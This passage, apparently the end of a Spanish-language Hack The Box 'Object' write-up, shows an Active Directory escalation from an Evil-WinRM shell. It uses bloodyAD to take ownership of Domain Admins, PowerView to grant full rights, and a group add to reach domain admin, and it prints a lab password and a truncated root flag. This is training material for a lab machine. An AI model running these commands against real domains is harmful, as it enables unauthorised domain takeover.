10*Evil-WinRM* PS C:\Users\maria\Documents> whoami
11object\maria
Abusing WriteOwner
Ahora podemos cambiar el propietario del grupo Domain Admins
para que sea maria
, para acto seguido asignar a maria
el privilegio AddMember
y poder agregarnos a nosotros mismos al grupo Domain Admins
para convertirnos administradores del dominio.
Ahora con bloodyAD
podemos cambiar el propietario del grupo Domain Admins
1*Evil-WinRM* PS C:\Users\maria\Documents> .\bloodyAD --host 127.0.0.1 -d 'object.local' -u 'maria' -p 'W3llcr4ft3d_4cls' set owner 'Domain Admins' 'maria'
2bloodyAD.exe : unicrypto\backends\cryptography\RC4.py:13: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
3 + CategoryInfo : NotSpecified: (unicrypto\backe...dule in 48.0.0.:String) [], RemoteException
4 + FullyQualifiedErrorId : NativeCommandError
5[+] Old owner S-1-5-21-4088429403-1159899800-2753317549-512 is now replaced by maria on Domain Admins
Ahora podemos terminar el ataque con PowerView.ps1
Como antes podemos importar las funciones de PowerView.ps1
1*Evil-WinRM* PS C:\Users\maria\Documents> Import-Module .\PowerView.ps1
Y añadir a maria
todos los permisos sobre el grupo (puede porque ahora somos propietarios del grupo Domain Admins
)
1*Evil-WinRM* PS C:\Users\maria\Documents> Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All
Ahora podemos agregarnos nosotros mismos al grupo.
1*Evil-WinRM* PS C:\Users\maria\Documents> Add-DomainGroupMember -Identity 'Domain Admins' -Members 'maria'
Y vemos que ha funcionado.
1*Evil-WinRM* PS C:\Users\maria\Documents> net user maria
2User name maria
3Full Name maria garcia
4Comment
5User's comment
6Country/region code 000 (System Default)
7Account active Yes
8Account expires Never
9
10Password last set 10/21/2021 9:16:32 PM
11Password expires Never
12Password changeable 10/22/2021 9:16:32 PM
13Password required Yes
14User may change password Yes
15
16Workstations allowed All
17Logon script C:\\Windows\\System32\\spool\\drivers\\color\\test.ps1
18User profile
19Home directory
20Last logon 9/1/2024 12:23:49 PM
21
22Logon hours allowed All
23
24Local Group Memberships *Remote Management Use
25Global Group memberships *Domain Admins *Domain Users
26The command completed successfully.
Y ya si reiniciamos la sesión de evil-winrm
podemos leer la flag de root
1*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
21c90b4d1a87f823...
¡Y ya estaría!
Happy Hacking! 🚀
#HackTheBox #Object #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Windows #Jenkins Enumeration #Weaponizing Jenkins #Dumping Secrets #Decrypting Admin Credentials #Abusing WinRM #Bloodhound Enumeration #Abusing ForceChangePassword #User Pivoting #Shadow Credentials #Abusing GenericWrite #Abusing User Script Path #Information Leakage #Abusing WriteOwner